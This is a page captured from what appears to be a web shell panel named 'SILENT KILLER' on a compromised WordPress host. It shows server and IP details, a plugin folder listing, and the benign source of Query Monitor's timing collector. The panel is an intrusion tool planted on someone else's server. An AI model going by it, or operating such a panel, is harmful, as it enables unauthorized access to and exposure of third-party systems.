SILENT KILLERPanel

Current Path: > home > transcarter > > www > > wp-content > plugins > query-monitor > collectors >


Operation   : Linux host59.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
Software     : Apache
Server IP    : 198.54.126.42 | Your IP: 216.73.216.135
Domains      : 1034 Domain(s)
Permission   : [ 0755 ]

Files and Folders in: /home/transcarter//www//wp-content/plugins/query-monitor/collectors/

NameTypeSizeLast ModifiedActions
admin.php File 3426 bytes July 17 2025 21:05:45.
assets_scripts.php File 1215 bytes July 17 2025 21:05:45.
assets_styles.php File 862 bytes July 17 2025 21:05:45.
block_editor.php File 5528 bytes July 17 2025 21:05:45.
cache.php File 3576 bytes July 17 2025 21:05:45.
caps.php File 7352 bytes July 17 2025 21:05:45.
conditionals.php File 2803 bytes July 17 2025 21:05:45.
db_callers.php File 1140 bytes July 17 2025 21:05:45.
db_components.php File 1175 bytes July 17 2025 21:05:45.
db_dupes.php File 3498 bytes July 17 2025 21:05:45.
db_queries.php File 6415 bytes July 17 2025 21:05:45.
debug_bar.php File 2757 bytes July 17 2025 21:05:45.
doing_it_wrong.php File 12778 bytes July 17 2025 21:05:45.
environment.php File 9074 bytes July 17 2025 21:05:45.
hooks.php File 2019 bytes July 17 2025 21:05:45.
http.php File 11557 bytes July 17 2025 21:05:45.
languages.php File 7552 bytes July 17 2025 21:05:45.
logger.php File 7945 bytes July 17 2025 21:05:45.
multisite.php File 1631 bytes July 17 2025 21:05:45.
overview.php File 2845 bytes July 17 2025 21:05:45.
php_errors.php File 15565 bytes July 17 2025 21:05:45.
raw_request.php File 2424 bytes July 17 2025 21:05:45.
redirects.php File 1365 bytes July 17 2025 21:05:45.
request.php File 7325 bytes July 17 2025 21:05:45.
theme.php File 17934 bytes July 17 2025 21:05:45.
timing.php File 4448 bytes July 17 2025 21:05:45.
transients.php File 3010 bytes July 17 2025 21:05:45.

Reading File: /home/transcarter//www//wp-content/plugins/query-monitor/collectors//timing.php

<?php declare(strict_types = 1);
/**
 * Timing and profiling collector.
 *
 * @package query-monitor
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * @extends QM_DataCollector<QM_Data_Timing>
 */
class QM_Collector_Timing extends QM_DataCollector {

	/**
	 * @var string
	 */
	public $id = 'timing';

	/**
	 * @var array<string, QM_Timer>
	 */
	private $track_timer = array();

	/**
	 * @var array<string, QM_Timer>
	 */
	private $start = array();

	/**
	 * @var array<string, QM_Timer>
	 */
	private $stop = array();

	public function get_storage(): QM_Data {
		return new QM_Data_Timing();
	}

	/**
	 * @return void
	 */
	public function set_up() {
		parent::set_up();

		add_action( 'qm/start', array( $this, 'action_function_time_start' ), 10, 1 );
		add_action( 'qm/stop', array( $this, 'action_function_time_stop' ), 10, 1 );
		add_action( 'qm/lap', array( $this, 'action_function_time_lap' ), 10, 2 );
	}

	/**
	 * @return void
	 */
	public function tear_down() {
		remove_action( 'qm/start', array( $this, 'action_function_time_start' ), 10 );
		remove_action( 'qm/stop', array( $this, 'action_function_time_stop' ), 10 );
		remove_action( 'qm/lap', array( $this, 'action_function_time_lap' ), 10 );

		parent::tear_down();
	}

	/**
	 * @param string $function
	 * @return void
	 */
	public function action_function_time_start( $function ) {
		$this->track_timer[ $function ] = new QM_Timer();
		$this->start[ $function ] = $this->track_timer[ $function ]->start();
	}

	/**
	 * @param string $function
	 * @return void
	 */
	public function action_function_time_stop( $function ) {
		if ( ! isset( $this->track_timer[ $function ] ) ) {
			$trace = new QM_Backtrace();
			$this->data->warning[] = array(
				'function' => $function,
				'message' => __( 'Timer not started', 'query-monitor' ),
				'filtered_trace' => $trace->get_filtered_trace(),
				'component' => $trace->get_component(),
			);
			return;
		}
		$this->stop[ $function ] = $this->track_timer[ $function ]->stop();
		$this->calculate_time( $function );
	}

	/**
	 * @param string $function
	 * @param string $name
	 * @return void
	 */
	public function action_function_time_lap( $function, $name = null ) {
		if ( ! isset( $this->track_timer[ $function ] ) ) {
			$trace = new QM_Backtrace();
			$this->data->warning[] = array(
				'function' => $function,
				'message' => __( 'Timer not started', 'query-monitor' ),
				'filtered_trace' => $trace->get_filtered_trace(),
				'component' => $trace->get_component(),
			);
			return;
		}
		$this->track_timer[ $function ]->lap( array(), $name );
	}

	/**
	 * @param string $function
	 * @return void
	 */
	public function calculate_time( $function ) {
		$trace = $this->track_timer[ $function ]->get_trace();
		$function_time = $this->track_timer[ $function ]->get_time();
		$function_memory = $this->track_timer[ $function ]->get_memory();
		$function_laps = $this->track_timer[ $function ]->get_laps();
		$start_time = $this->track_timer[ $function ]->get_start_time();
		$end_time = $this->track_timer[ $function ]->get_end_time();

		$this->data->timing[] = array(
			'function' => $function,
			'function_time' => $function_time,
			'function_memory' => $function_memory,
			'laps' => $function_laps,
			'filtered_trace' => $trace->get_filtered_trace(),
			'component' => $trace->get_component(),
			'start_time' => ( $start_time - $_SERVER['REQUEST_TIME_FLOAT'] ),
			'end_time' => ( $end_time - $_SERVER['REQUEST_TIME_FLOAT'] ),
		);
	}

	/**
	 * @return void
	 */
	public function process() {
		foreach ( $this->start as $function => $value ) {
			if ( ! isset( $this->stop[ $function ] ) ) {
				$trace = $this->track_timer[ $function ]->get_trace();
				$this->data->warning[] = array(
					'function' => $function,
					'message' => __( 'Timer not stopped', 'query-monitor' ),
					'filtered_trace' => $trace->get_filtered_trace(),
					'component' => $trace->get_component(),
				);
			}
		}

		if ( ! empty( $this->data->timing ) ) {
			usort( $this->data->timing, array( $this, 'sort_by_start_time' ) );
		}
	}

	/**
	 * @param mixed[] $a
	 * @param mixed[] $b
	 * @return int
	 * @phpstan-return -1|0|1
	 */
	public function sort_by_start_time( array $a, array $b ) {
		return $a['start_time'] <=> $b['start_time'];
	}

}

# Load early in case a plugin is setting the function to be checked when it initialises instead of after the `plugins_loaded` hook
QM_Collectors::add( new QM_Collector_Timing() );

SILENT KILLER Tool